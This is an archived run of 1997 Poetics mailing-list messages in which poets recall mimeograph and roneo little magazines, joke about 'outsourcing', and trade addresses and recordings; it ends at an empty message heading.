| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

74. Mark Prejsnar
Re: e-signoffs / tradition & innovation
Wed 5 Mar 1997

Outsourcing is one of those lovely corporate weasel-words for a way to attack people's lives.....Essentially, it means hiring a worker on an "independent contractor" basis. Usually you "downsize" first--i.e. you fire a lot of your employees. then you hire people (often the folks you just fired) for limited amounts of time to do the same work without unions, at much lower pay, without job security, without basic medical or dental coverage, without vacation or sick leave...You get the picture. Sometimes outsourcing involves contracting with a firm to provide a bunch of folks without benefit, decent pay or job security to do work that used to be done by people with decent jobs.

I have to admit I use the Crawford/Gorman quote because of its implied political edge....As a poet, I don't necessarily agree that neologisms some people find "ugly" are bad language---Messing with the language in "irresponsible" ways is one of the mothers of invention...

On Wed, 5 Mar 1997, F.A. Templeton wrote:

> *Dear Mark P,*
>
> *What IS outsourcing?*
>
> *Fiona*

↑ Index

75. Jerry Rothenberg
(no subject)
Wed 5 Mar 1997

---

id AA10411 for jrothenb; Tue, 4 Mar 97 22:02:09 PST
id AA10408 for [redacted]; Tue, 4 Mar 97 22:02:06 PST
Date: Tue, 4 Mar 97 22:02:06 PST
From: [redacted] (Jerry Rothenberg)
To: [redacted]
Subject: Marinetti recordings
Cc: [redacted]
Status: RO

dear Martin --

The most Marinetti I have is on an old lp "musica futurista: antologia sonora a cura di Daniele Lombardi, published by Cramps Records (Italy) -- I think in

1980. The Marinetti listings are (1) Profilo Sintetico Musicale di Marinetti (1923); (2) Cinque sintesi radiofoniche (1933), (3) Marinetti (voce) with Aldo Giuntini (pianoforte) performing "sintesi musicali futuriste 1931; & (4) Marinetti reciting "La battaglia di Adrianopoli" and "Definizione di Futurismo" (1924). The last is said to be from a disc titled "Marinetti e il Futurismo" (EMI 3C-065 17982/A), if that's of any help.

Are these on the Tellus #21 cassette you mention, which maybe you can otherwise identify for me? I also have no idea whether the Cramps disc ever reappeared as a CD.

Anyway, all best,

Jerome Rothenberg / JERRY

ps. Other interesting things on the disc, including later realizations of Russolo intonarumori.

↑ Index

76. Joseph Lease
Re: <Sigh>
Wed 5 Mar 1997

I think Tom Mandel is right that the Dorn thread is creepy: I mean creepy not only in every sense in which I think he means it (I agree with him) but also creepy in the sense of gothic: the return of the uncanny: the fear of politics is the fear of people who have been killed by someone

↑ Index

77. dbkk
Re: email address for Steve McCaffery
Wed 5 Mar 1997

> *Is Steve McCaffery on the list? Or can someone back channel me with a current email address for him. I just sent a message to what I thought was correct and it was bounced.*

Yes, Steve M's email seems to change with the weather. Here's his latest:

Steve McCaffery <[redacted]>

Good luck.

Dodie Bellamy

↑ Index

78. **dbkk**
Re: email address for Steve McCaffery
Wed 5 Mar 1997

Sorry, I really didn't mean to post Steve M's email to the whole world. The poetics list *is* the whole world, isn't it?

Dodie

↑ Index

79. **Steven Clay**
mimeo revolution
Wed 5 Mar 1997

I'm co-curating an exhibition of books and magazines produced (mostly) via the mimeograph machine. I've compiled a list of a hundred or so as a beginning but would be very curious to hear some suggestions from those on the poetics list. Anyone wish to offer their "top ten list" of favorite mags from the Mimeo Revolution?

I'm also interested in acquiring collections/libraries/archives of such material for the exhibit. Please back channel any offers.
Thanks & best to all,
Steve Clay
Granary Books
NYC

↑ Index

80. **Joseph Lease**
Re: mimeo revolution
Wed 5 Mar 1997

I vote for Bill Brown's not bored

On Wed, 5 Mar 1997, Steven Clay wrote:

> *I'm co-curating an exhibition of books and magazines produced (mostly) via the mimeograph machine. I've compiled a list of a hundred or so as a beginning but would be very curious to hear some suggestions from those on the poetics list. Anyone wish to offer their "top ten list" of favorite mags from the Mimeo Revolution?*
>
> *I'm also interested in acquiring collections/libraries/archives of such material for the exhibit. Please back channel any offers.*
> *Thanks & best to all,*
> *Steve Clay*
> *Granary Books*

> *NYC*

↑ Index

81. Joseph Lease
Re: mimeo revolution
Wed 5 Mar 1997

---

also if I may vote for one in which I appeared the National Poetry Magazine of the Lower East Side

On Wed, 5 Mar 1997, Steven Clay wrote:

> *I'm co-curating an exhibition of books and magazines produced (mostly) via the mimeograph machine. I've compiled a list of a hundred or so as a beginning but would be very curious to hear some suggestions from those on the poetics list. Anyone wish to offer their "top ten list" of favorite mags from the Mimeo Revolution?*
>
> *I'm also interested in acquiring collections/libraries/archives of such material for the exhibit. Please back channel any offers.*
> *Thanks & best to all,*
> *Steve Clay*
> *Granary Books*
> *NYC*

↑ Index

82. Joseph Lease
Re: Welcome Message
Wed 5 Mar 1997

---

and also of course Mirage Periodical which Kevin and Dodie make consistently brilliant

↑ Index

83. Jay Schwartz
Re: Mimeo/Off-set Revolute
Wed 5 Mar 1997

A great deal of beautiful and interesting xerography is happening today, but mostly right outside the world of poetry- with "zines". As a Kinko's employee I had the blessed oppportunity to produce a poetry magazine with multiple color copies and multiple textured/ colored papers, all on the sly on the graveyard shift. I would agree that offset is generally a domesticating process, but have to say that photocopiers lend themselves to spontaneous, diverse products.

The magazine I helped create is Proliferation, 1 - 3. (Available through SPD.)

Jay Schwartz

↑ Index

84. Jordan Davis
Re: mimeo revolution
Wed 5 Mar 1997

C
Mag City
Adventures in Poetry
The Harris Review
Dodgems
C Comics
The World
Gandhabba

and then later...

Object
The Impercipient
Explosive Magazine
Antenym
Stud Duck
Torque
Tads
Mirage (Periodical)
Yale Younger Poets
Situation
Tamarind ...

_____

Dear Fiona,

Steve Evans' lecture "The Dynamics of Literary Change" is available from The Impercipient Lecture Series, 61 E Manning St, Providence RI 02906-4008. I misspoke when I said that it proposes a structure of literary change. What would be more accurate is to say that the talk digresses around the subjects of the autonomy of the work of art, the beginnings and ends of literary eras, and the writings of Hegel, Musil, Bourdieu, Adorno and others.

Jordan

↑ Index

85. Alan Jen Sondheim
Re: mimeo revolution
Wed 5 Mar 1997

The World

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html Images: http://www.cs.unca.edu/~davidson/pix/ Telephone [redacted] CuSeeMe: 166.84.250.149 +++++ Editor, Being On Line, Lusitania, 1997

↑ Index

86. Alan Jen Sondheim
Re: mimeo revolution
Wed 5 Mar 1997

Sorry - also, Bernadette's and Vito's 0 to 9, out around the same time, truly amazing for the most part, prescient in its nervousness. Acconci's poetic/ry hasn't been reprinted as far as I know and remains a unique body of work -

Alan

_____ URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html Images: http://www.cs.unca.edu/~davidson/pix/ Telephone [redacted] CuSeeMe: 166.84.250.149 +++++ Editor, Being On Line, Lusitania, 1997

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87. Pam Brown
Re: mimeo revolution
Wed 5 Mar 1997

Hello everyone -
In Australia , well, in Sydney, we had the amazing roneo magazine "Magic Sam" with silk-screened covers & graphics - and later the not-as-brilliant-looking "Meuse" followed by Mark Roberts' (& Adam Aitken's) "P76" - maybe you can remember some others Mark ?
But "Magic Sam", with its sometimes four/five colour silk-screened comics as well as the most interesting poetry, prose & interviews of the mid to late seventies/early eighties, gets my vote as the best of the Australian mimeo (we called it "roneo")magazines.
Cheerio
Pam Brown

At 12:37 PM 5/3/97 -0500, you wrote:
>I'm co-curating an exhibition of books and magazines produced (mostly) via
>the mimeograph machine. I've compiled a list of a hundred or so as a
>beginning but would be very curious to hear some suggestions from those on
>the poetics list. Anyone wish to offer their "top ten list" of favorite
>mags from the Mimeo Revolution?
>
>I'm also interested in acquiring collections/libraries/archives of such
>material for the exhibit. Please back channel any offers.
>Thanks & best to all,
>Steve Clay
>Granary Books
>NYC
>
>

↑ Index

88. **Schuchat Simon**
Re: mimeo revolution
Wed 5 Mar 1997

Chicago, edited by Alice Notley

↑ Index

89. **Schuchat Simon**
Re: mimeo revolution
Wed 5 Mar 1997

United Artists, edited by Bernadette Mayer and Lewis Warsh

↑ Index

90. **Mark Roberts**
Re: e-signoffs / tradition & innovation
Wed 5 Mar 1997

> *Dear Mark P,*
>
> *What IS outsourcing?*
>
> *Fiona*

That is when the government tells poets that they can no longer afford to fund culture and in order to save 'costs' poets should no longer write their own work - instead they should 'outsource' the writing of poetry to the private sector who, after all, can produce poetry much quicker and for much less unit cost.

Mark Roberts SIS website: http://www.usyd.edu.au/su/sis/
SIS Team
Building G05 Maze Crescent
University of Sydney
Phone 61 2 93517710
Mobile 015063970
Fax 61 2 93517711

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91. Pam Brown
mimeo/roneo
Wed 5 Mar 1997

And I should add that "Magic Sam" was edited & produced by Ken Bolton (with Anna Couani & later, Sal Brereton) - Ken now edits "Otis Rush Magazine" and has a poetry publishing imprint called "Little Esther"
Les Wicks was the editor of "Meuse" (which I think began as a Poets Union publication). Les now edits Transit Poetry - which is the poetry posters on buses project in Sydney & Newcastle.
And Mark can speak for himself I guess
Best Wishes,
Pam

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Cheerio
Pam Brown

↑ Index

92. Pritchett,Pat
Re: e-signoffs / tradition & innovation
Wed 5 Mar 1997

"The unit cost per stanza is a concern to this panel."

- Ron Silliman

From: Mark Roberts
To: POETICS
Subject: Re: e-signoffs / tradition & innovation
Date: Wednesday, March 05, 1997 5:24PM

> *Dear Mark P,*
>
> *What IS outsourcing?*
>
> *Fiona*

That is when the government tells poets that they can no longer afford to fund culture and in order to save 'costs' poets should no longer write their own work - instead they should 'outsource' the writing of poetry to the private sector who, after all, can produce poetry much quicker and for much less unit cost.

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↑ Index

93. Mark Roberts
Re: mimeo/roneo
Wed 5 Mar 1997

Yes P76 used MAGIC SAM as inspiration. (i've still got two gestner machines in the garage). I can also remember a few others from the Poetys Union book box I used to cart around with me selling small press stuff at readings, conferences, parties, funerals etc....Pam can you remember a magazine called CHOOK CHOOK CHOOK (i think) which had a chicken feather stuck to the cover, or THE GREAT AUSTRALIAN WHITING (as in fish).

As an aside P76 is about to reborn as an web magazine. The 6th issue will be uploaded to the AWOL (http://www.ozemail.com.au/~awol/ site sometime in the next fortnight) There will be a photocopies print out available on request (no gestner PLEASE!). The 7th issue will be edited by andrew burke in perth. (the idea being that each issue will be edited by someone different in a different area of Australia (or even os?). Anyway more details when the issue is uploaded.

btw I think the 3rd issue of P76 was the best (that's the one whose cover appeared in the introduction to Pio's Penguin anthology OFF THE RECORD). Magic Sam also produced a series of roneoed books (one of which was a brillant little book by Pam Brown). I just remembered Magic Sam produced a roneoed Mental as Anything single...!!!!

>And I should add that "Magic Sam" was edited & produced by Ken Bolton (with
>Anna Couani & later, Sal Brereton) - Ken now edits "Otis Rush Magazine" and
>has a poetry publishing imprint called "Little Esther"
>Les Wicks was the editor of "Meuse" (which I think began as a Poets Union
>publication). Les now edits Transit Poetry - which is the poetry posters on
>buses project in Sydney & Newcastle.
>And Mark can speak for himself I guess
>Best Wishes,
>Pam
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>Sam" with silk-screened covers & graphics - and later the
>not-as-brilliant-looking "Meuse" followed by Mark Roberts' (& Adam Aitken's)
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>well as the most interesting poetry, prose & interviews of the mid to late
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>Cheerio
>Pam Brown
>
>
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SIS Team
Building G05 Maze Crescent
University of Sydney
Phone 61 2 93517710

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↑ Index

94. Mark Roberts
Re: mimeo/roneo
Wed 5 Mar 1997

I just remebered that the last two or three issues of Kris Hemnensly's H/EAR where roneoded with gift wrapping (I think) used as a cover. It was basically a collection of letters/comments form and to Kris from writers around the world.

>Yes P76 used MAGIC SAM as inspiration. (i've still got two gestner machines
>in the garage). I can also remember a few others from the Poetys Union book
>box I used to cart around with me selling small press stuff at readings,
>conferences, parties, funerals etc....Pam can you remember a magazine called
>CHOOK CHOOK CHOOK (i think) which had a chicken feather stuck to the cover,
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>different area of Australia (or even os?). Anyway more details when the
>issue is uploaded.
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>appeared in the introduction to Pio's Penguin anthology OFF THE RECORD).
>Magic Sam also produced a series of roneoed books (one of which was a
>brillant little book by Pam Brown). I just remembered Magic Sam produced a
>roneoed Mental as Anything single...!!!!
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>>Anna Couani & later, Sal Brereton) - Ken now edits "Otis Rush Magazine" and
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>>And Mark can speak for himself I guess
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>>Pam
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>>"P76" - maybe you can remember some others Mark ?
>>But "Magic Sam", with its sometimes four/five colour silk-screened comics as
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>>
>>
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95. **manny savopoulos**
Fw: student takeover at UMass-Amherst (fwd)
Wed 5 Mar 1997

> From: Jennifer Mitchell <[redacted]>
> To: [redacted]
> Subject: student takeover at UMass-Amherst (fwd)
> Date: Wednesday, March 05, 1997 4:18 PM
>
> ---------- Forwarded message ----------
> Date: Wed, 05 Mar 1997 09:47:54 -0500
> From: Ira Shor <[redacted]>
> Reply-To: Working Class Student Study Group <[redacted]>
> To: Multiple recipients of list WCS-L <[redacted]>
> Subject: student takeover at UMass-Amherst
>
> Hello--Thought some folks might like to know about this...Ira
>
>
> >>Date: Tue, 4 Mar 97 11:55:15 CST
> >>From: VICTORY OF THE PEOPLE <[redacted]>
> >>To: Multiple recipients of list <[redacted]>
> >>Subject: student takeover at UMass-Amherst!
> >>
> >>On Monday, March 3, 1997, a group of students took over the controllers office
> >>at the University of Massachusetts. Students are demanding, among other
> >>things, an increase in financial aid, increase in recruitment and retention of
> >>students of color to 20%, scholerships for poor and working students.
> >>deiversification of staff, faculty, and administration, elimination of holds
> >>on preregistration and late fees and a flexible child care center. Over 150
> >>students stayed overnight in the building, while hundreds more supported us
> >>inside. We have recieved the unanimous support of the SGA at Amherst College,
> >>as well as financial support from all four private schools in the Pioneer
> >>Valley. The administration is giving us a lot of rhetoric, but we are

> >>committed to staying in the building until all of our demands are met.
> >>If you are interested in supporting this important action, forward this
> >>message to anyone and everyone.
> >>In addition, you can write/wmail/phone Chancellor Scott expressing support for
> >>these demands.
> >> David Scott
> >> 374 Whitmore
> >> Umass-Amherst, MA 01003
> >> [redacted]; [redacted]
> >>Thanks for your support!!
> >>
> >
> >
> >
> >

↑ Index

96. Mark Roberts

Re: roneo-offset

Wed 5 Mar 1997

Pam maybe you and I should get a grant to write a history of the period!!
(whats the weather like on the other side of campus?) :)

Mark

>Mark you wrote
>"btw I think the 3rd issue of P76 was the best (that's the one whose cover
>appeared in the introduction to Pio's Penguin anthology OFF THE RECORD).
>Magic Sam also produced a series of roneoed books (one of which was a
>brillant little book by Pam Brown). "
>
>Just to get pedantic - that book was called "Small Blue View" and was offset
>printed at the Experimental Art Foundation in 1982 - Ken Bolton moved on to
>offset printing that year with that series - me, Laurie Duggan, Denis
>Gallagher & Sal Brereton....
>
>Cheerio from Miss Brown (History Inspector)
>
>
Mark Roberts SIS website: http://www.usyd.edu.au/su/sis/
SIS Team

Building G05 Maze Crescent
University of Sydney
Phone 61 2 93517710
Mobile 015063970
Fax 61 2 93517711

↑ Index

97. Maria Damon (Maria Damon)
Re: The Great Smell of Mimeo
Wed 5 Mar 1997

---

another on e of my favorite things about old mimeo forms was that the stencils were called "Spirit Masters."

At 7:04 PM 3/6/97, Hank Lazer wrote:
>Yes, Kenny G, that smell, wonderfully mnemonic. Mere mention of it,
>and I can begin to see Mr Tollefson's sixth grade classroom, and
>smell the hamsters in the back of the room.... Thanks.
>
>Hank Lazer

↑ Index

98. Laura Moriarty
Re: mimeo/roneo
Wed 5 Mar 1997

Norma Cole has just reminded my that the first issue of Acts was mimeo-graphed - edited by David Levi Strauss and Benjamin Hollander

I think the first issue of Vanishing Cab, edited by Jerry Estrin, may have been mimeographed - Done by PG&E but unknown to them - But it may have been xeroxed -

↑ Index

99. George Bowering
Re: Welcome Message
Wed 5 Mar 1997

> *and also of course Mirage Periodical which Kevin and Dodie make consistently brilliant*

Also _Tish_
The Floating Bear
Motion
Sum

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

100. George Bowering
Re: mimeo revolution
Wed 5 Mar 1997

Also _I's_

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

101. George Bowering
Re: mimeo revolution
Wed 5 Mar 1997

Havent seen a mention of _Fuck You: a magazine of the arts_

probably too obvious.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

102. George Bowering
Re: mimeo revolution
Wed 5 Mar 1997

Not to mention some of the British ones:

Move
Tlaloc

and that one, what was its name, from Preston?

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

103. Stephen Vincent
Mimeo/Off-set Revolute
Wed 5 Mar 1997

Re J S's interesting question:
"Some of the magazines listed here are photocopied- does the original post specify mimeographed?

I would be very interested in hearing from magazine producers about the difference in production choices that mimeograph vs. photocopy entails. Not just technical, but the aesthetic choices as well."

if my memory serves me well (??), the change from mimeo to photocopy(xerox and/or off-set) occured in about 1971 or 72. Mimeo went out and Xerox Copy shops and cheap off-set places began to appear. The issues of aesthetics for each technology was not a question of enjoying one technology more than the other. That was not the choice. With the exception of a small overlap period, photocopy machines and photo off-set presses became the dominant technology. . In terms of aesthetics -- in at least a visual sense -- students primarily via art schools played most interestinly the possibilites first with memory and then with zerox. Even though I think some of that work is wonderful, and it's great Granary Books going to bring the mimeo format back into public exposure, I don't think much of the art centered work ever caught much art collector attention. In terms of literary output mimeo production was attractive because it was both inexpensive and small. A machine could fit easily on to a table in an

appartment. In the context of sixties radical politics, it was an ideal device for clandestine productions (broadsides, books etc.) Though I knew some people with off-set equipment in their basement or garage, no one could afford a xerox machine. For small presses and magazines with small runs, small budgets, no government grants etc. the mimeo was a terrifically affordable way to go. The intimate, hand made, slightly ink blurred, soft paper feel of many mimeo mags and books fit into an aesthetic of back to the land, back to the streets, back to the people etc. - a definite sense of rejecting the corporate. Publishers took a certain pride in coping multiple color mimeo papers from corporate offices and filling them with poetry rather memos, stats, etc. The use of art in the literary mags varied in qualtity - multiple colored inks wd jazz them. The multi color Gestener - which was hot through out the seventies was great for cheap 8 1/2 by 11" posters. (The Intersection Poetry Series in San Francisco was often wonderful. John Brandi in New Mexico (Tooth of the Nail?? Press) did what seemed then rather extraordinary mixes of color images, text, multiple color papers etc. Instead of making use of either xerox or the mimeo as an aesthetic medium for images, I suspect most of the time, to use computer language, images were "imported" from an established artist. In terms of text the 8 1/2 by 11" format made a broad expanse of space for text - either for variations on two column format, or filling it to the max. I don't think it had a major effect on the use of the space. In "reality" since in the days of type writer, 8 1/2 by 11" was the "real time" format so there was the possibility of a genuine correspondence/ similary between the artifact of the poet's manuscript and the mag as an artifact!

Off-set production made for more professional looking work, made for larger press runs, access to commerical distribution, etc. Off set most often required a relationship with a professional printer and a set of more costly variables. The costs and circumstances limited most aesthetic experimentation on account of the costs and other obligations of the printers. Interesting the further away the process got from the domestic mimeo, the government, via the NEA, became more involved, funding, for example, the West Coast Print Center - this interface with the Government and its effect on poetry production is a whole other story. Most problematic was that the cost of off-set required larger editions (500 +) - the poetry market was soon flooded with more and more titles than any store could support - and that was part of the ambition. Mimeo had the advantage of limited runs and providing a more accurate guage of the market.

This memory is totally off the top of my head - not that I should worry to ask, but I would look forward to hearing other people's takes.

West Coast sixties mimeo mags:

Wild Dog
Or (David Sandburg)
Magdalene Syndrome Gazette

(Ron Silliman is probably a good memory source here - some of us were there and do remember).

Detroit - John Sinclair's "Work" and "Change" were big.

To me it seems that the computer technology (net, web sites. zines) has redomesticated the whole production process that is comparable to mimeo times. But that brings up current issues which is probably something for later.

Cheers,
Stephen Vincent

↑ Index

104. Mark Roberts
Re: mimeo revolution
Wed 5 Mar 1997

Just remembered rae desmond jones - your friendly fascist
was gestnered
Mark Roberts SIS website: http://www.usyd.edu.au/su/sis/
SIS Team
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↑ Index

105. Pam Brown
roneo-offset
Wed 5 Mar 1997

Mark you wrote "btw I think the 3rd issue of P76 was the best (that's the one whose cover appeared in the introduction to Pio's Penguin anthology OFF THE RECORD). Magic Sam also produced a series of roneoed books (one of which was a brillant little book by Pam Brown). "

Just to get pedantic - that book was called "Small Blue View" and was offset printed at the Experimental Art Foundation in 1982 - Ken Bolton moved on to offset printing that year with that series - me, Laurie Duggan, Denis Gallagher & Sal Brereton....

Cheerio from Miss Brown (History Inspector)

↑ Index

106. Mark Roberts
Re: Mimeo/Off-set Revolute
Wed 5 Mar 1997

It was much more of a party printing a magazine off a gestner machine in your bedroom..taking lots of drugs and staying up for days with the click/thump of the machine and loud music. I also found you could do much better graphics on a gestner. By cutting a stencil and printing one copy at a time you could bet a great lino cut look - we did an ad in P76 no1 for ON THE BEACH magazine and ended up printing another fifty copies of the add on textured paper for the artist. We would occassionally do two or more colours on a page. My second gestner machine was wonderful. It had a light switch which seemed to make it glow inside and it had all sorts of arms which swang out, folded down and tucked in. I bought it for $10 off a hippie in Balmain in 1984 who had just bought himself a computer (back in those days I don't think I'd even seen a pc!)

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↑ Index

107. Rachel Loden
db's mimeo
Wed 5 Mar 1997

Haven't seen any mention of David Bromige's mimeo _Open Reading_, from the seventies. I still have all my copies of No. 3, with Kathy Fraser, Michael Davidson, Charles Simic, David Henderson, Bobbie Louise Hawkins, Thom Gunn, db, etc. (even me). Everything in it he had heard aloud first.

Rachel L.

↑ Index

108. Toni Simon
Re: mimeo revolution
Wed 5 Mar 1997

432 Review edited by Simon Schuchat

-Nick Piombino

On Thu, 6 Mar 1997, Schuchat Simon wrote:

> *Chicago, edited by Alice Notley*

↑ Index

109. Herb Levy
Oops
Wed 5 Mar 1997

Kenny,

I found the package of 2 CDs & press release that I thought I'd sent to you when I got back today. It's in the mail now & I think you'll have it by Saturday, Monday at the latest. Sorry.

Here's a few URLs that may be of interest to your visual poetry self:

<http://www.ims.csuohio.edu/wreyeting/index.html>

<http://www.ims.csuohio.edu/selby/casthome.html>

<http://www.net22.com/qazingulaza/>

though I'm sure you've seen them all.

Hope to see you at Roulette next Saturday.

Bests,

Herb

Herb Levy
[redacted]

↑ Index

110. Tenney Nathanson
Michael Davidson?
Wed 5 Mar 1997

---

does anyone have a current email address for Michael Davidson (who is not currently subscribed to the list?)? Address I have doesn't work.

please backchannel.

thanks

tenney

---

tenney nathanson

[redacted]

http://www.u.arizona.edu/~nathanso/

↑ Index

111. Tenney Nathanson
pogo
Thu 6 Mar 1997

---

the whole strip (intro to Positively Pogo):

Pogo and Porkypine on bank, fishing

frame one, Pogo (I think):
    I read a book once what said you can do anything you want if you puts your mind to it.

frame two, Porkypine:
    I isn't read the book, but I is dreamed the dream

frame three, nothing: they just sitting there fishing and thinking

frame four, Porkypine:
    I allus liked the part about the cowboys.

---

tenney nathanson

[redacted]

http://www.u.arizona.edu/~nathanso/

↑ Index

112. Stephen Vincent
Re: mimeo revolution
Thu 6 Mar 1997

Open Space edited by Harold Dull - San Francisco, early sixties. (tres rare, brilliant - Spicer, Kyger etc etc) primarily - as I recall - publically given away free atop a table in the basement of City Lights

Beatitude - San Francisco - various hands, en perpetua

↑ Index

113. robert drake
Re: The Great Smell of Mimeo
Thu 6 Mar 1997

> *another on e of my favorite things about old mimeo forms was that the stencils were called "Spirit Masters."*
>
> *At 7:04 PM 3/6/97, Hank Lazer wrote:*
> *Yes, Kenny G, that smell, wonderfully mnemonic. Mere mention of it, and I can begin to see Mr Tollefson's sixth grade classroom, and smell the hamsters in the back of the room.... Thanks.*
>
> *Hank Lazer*

the purple & odiferous printing process that spurs such fond memory is actually th product of "spirit duplicators"--ink was transfered from a sheet (similar to carbon paper) to a master; solvent frm the machine then transfered that ink to the paper... occasionally but not much used fr publications, & most ov those will have vanished, as th ink fades, especially in contact w/ air... a different beast frm mimeos, which pushed ink thru a wax-impregnated stencil...

lbd

↑ Index

114. Ron Silliman
Typing on green stencils
Thu 6 Mar 1997

Many of my first publications, such as in Richard Krech's Community Libertarian ('65), Will Inman's Kauri ('66--where my work first came into contact of the likes of Clayton Eshleman, David Antin, et al), John Sinclair's mags, Robert Parker's mag (name now escapes me) were all mimeographed. Others, such as Clifford Burke's Hollow Orange, John Fowler's Grist, d alexander's Odda Tala seemed to have much better technology and were I believe offset. By comparison, something like Caterpillar, with perfect binding and the ability to

reproduce photos on the cover, was a real jolt toward "official" culture in that Clayton could get it into bookstores that would never have handled a stapled mag.

Anselm Hollo (Hi, Anselm) has spoken of a period in the 1950s when, in London, he felt it was possible to obtain almost any small English language press publication, partly because the distribution was so much better but also partly because there were, relatively, so few of them (remember, in the 1950s, there were less than a tenth of the books published that there are now, so that how stores handled stock was very different). By the mid-1960s, when I first was paying attention, it was already pretty different. For example, Gino Clay Skies was rumored to have many copies of Heads of the Town Up to the Aether, but it was years before I was able to find a copy. By 1966, the rare book collection at SF State (thanks to Robin Blaser) was already a profound resource, with its collection of Origin etc.

The first issues of Tottel's, my own mag, were photocopied (editions of under 100), then photo-offset in very small runs--the final issue was mimeo'd on a giant Gestetner in the basement of Hospitality House in the SF Tenderloin. I'd used mimeo before on non-profit mags I'd worked on, but this was my only foray into typing poetry onto those stencils. I recall that the machine was very quirky (I had to call in the guy who normally ran it, a burly fellow named Peter McCarthy, who hammered a few wayward pieces of metal back into place). It ate a couple of masters, so I had to retype them in order to get the run of 150. With fulltime jobs that paid hardly any money (I lived on around $125 a month in 1972), I was able to put out the mag. One of the requirements in those days was finding a typewriter that had the ability to "cut" a clean stencil.

I do think that HTML and web technology has some of the very same potential that generated the "mimeo revolution" back then, but with some important differences. The most important one is that the world of writing itself is far more dispersed and decentralized than it was 30-40 years ago (generally a good thing, but not unabashedly so). The other is that these pieces of equipment are hardly free, even if they are becoming common. I could never have afforded the upfront costs of owning a PC when I was in my 20s and didn't actually buy one until I was 41. Yet the sort of effort that yields something like Luigi-Bob's scratchpad for the wr-eye-ting list is virtually exactly the same impulse and much of the same result as a little mag effort of those olden days, and with few of the same limitations vis a vis distribution or reliance entirely on the local.

Ron Silliman

> *Date: Wed, 5 Mar 1997 20:08:43 -0500*
> *From: Stephen Vincent <[redacted]>*
> *Subject: Mimeo/Off-set Revolute*

Re J S's interesting question:
"Some of the magazines listed here are photocopied- does the original post specify mimeographed?

I would be very interested in hearing from magazine producers about the difference in production choices that mimeograph vs. photocopy entails. Not just technical, but the aesthetic choices as well."

if my memory serves me well (??), the change from mimeo to photocopy(xerox and/or off-set) occured in about 1971 or 72.
Mimeo went out and Xerox Copy shops and cheap off-set places began to appear. The issues of aesthetics for each technology was not a question of enjoying one technology more than the other. That was not the choice. With the exception of a small overlap period, photocopy machines and photo off-set presses became the dominant technology. . In terms of aesthetics -- in at least a visual sense -- students primarily via art schools played most interestinly the possibilites first with memory and then with zerox. Even though I think some of that work is wonderful, and it's great Granary Books going to bring the mimeo format back into public exposure, I don't think much of the art centered work ever caught much art collector attention.
In terms of literary output mimeo production was attractive because it was both inexpensive and small. A machine could fit easily on to a table in an appartment. In the context of sixties radical politics, it was an ideal device for clandestine productions (broadsides, books etc.) Though I knew some people with off-set equipment in their basement or garage, no one could afford a xerox machine. For small presses and magazines with small runs, small budgets, no government grants etc. the mimeo was a terrifically affordable way to go. The intimate, hand made, slightly ink blurred, soft paper feel of many mimeo mags and books fit into an aesthetic of back to the land, back to the streets, back to the people etc. - a definite sense of rejecting the corporate. Publishers took a certain pride in coping multiple color mimeo papers from corporate offices and filling them with poetry rather memos, stats, etc. The use of art in the literary mags varied in qualtity - multiple colored inks wd jazz them. The multi color Gestener - which was hot through out the seventies was great for cheap 8 1/2 by 11" posters. (The Intersection Poetry Series in San Francisco was often wonderful. John Brandi in New Mexico (Tooth of the Nail?? Press) did what seemed then rather extraordinary mixes of color images, text, multiple color papers etc. Instead of making use of either xerox or the mimeo as an aesthetic medium for images, I suspect most of the time, to use computer language, images were "imported" from an established artist. In terms of text the 8 1/2 by 11" format made a broad expanse of space for text - either for variations on two column format, or filling it to the max. I don't think it had a major effect on the use of the space. In "reality" since in the days of type writer, 8 1/2 by 11" was the "real time" format so there was the possibility of a genuine correspondence/ similary between the artifact of the poet's manuscript and the mag as an artifact!

> *Off-set production made for more professional looking work, made for larger press runs, access to commerical distribution, etc. Off set most often required a relationship with a professional printer and a set of more costly variables. The costs and circumstances limited most aesthetic experimentation on account of the costs and other obligations of the printers. Interesting the further away the process got from the domestic mimeo, the government, via the NEA, became more involved, funding, for example, the West Coast Print Center - this interface with the Government and its effect on poetry production is a whole other story. Most problematic was that the cost of off-set required larger editions (500 +) - the poetry market was soon flooded with more and more titles than any store could support - and that was part of the ambition. Mimeo had the advantage of limited runs and providing a more accurate guage of the market.*
>
> *This memory is totally off the top of my head - not that I should worry to ask, but I would look forward to hearing other people's takes.*
>
> *West Coast sixties mimeo mags:*
>
> *Wild Dog*
> *Or (David Sandburg)*
> *Magdalene Syndrome Gazette*
>
> *(Ron Silliman is probably a good memory source here - some of us were there and do remember).*
>
> *Detroit - John Sinclair's "Work" and "Change" were big.*
>
> *To me it seems that the computer technology (net, web sites. zines) has redomesticated the whole production process that is comparable to mimeo times. But that brings up current issues which is probably something for later.*
>
> *Cheers,*
> *Stephen Vincent*
>
> ---

↑ Index

115. **kennyg**
The Great Smell of Mimeo
Thu 6 Mar 1997

As a child in the late 1960s, I loved the Public School look and SMELL of purple mimeo, which smelled like cheap vanilla ice cream. Mmmmmmmm. I miss it.

Kenny G.

↑ Index

116. Hank Lazer
Re: The Great Smell of Mimeo
Thu 6 Mar 1997

Yes, Kenny G, that smell, wonderfully mnemonic. Mere mention of it, and I can begin to see Mr Tollefson's sixth grade classroom, and smell the hamsters in the back of the room.... Thanks.

Hank Lazer

↑ Index

117. robert drake
Re: Mimeo/Off-set Revolute
Thu 6 Mar 1997

---

cleveland was home to a number of mimeographd magazines, starting praps w/ d.a. levy's _the marrahwannah quarterly_ and his 7 flowers press; also t.l. kryss's Black Rabbit Press, Robert Head's Neo Ex Press, and a slew of fugitive/ alias ventures (ground zero, falling down press, mostly broken scabs press). i had an mimeod "underground newspaper" in jr. high, as much concerned w/ dress codes as the war, but thru that ran into d.a.'s work & it was one ov those life-changing experiences. levy's use of th medium, w/ all it's limitations, fr visual effect seemed only "sloppy" to me at first, but...

luigi

↑ Index

118. Tom Mandel
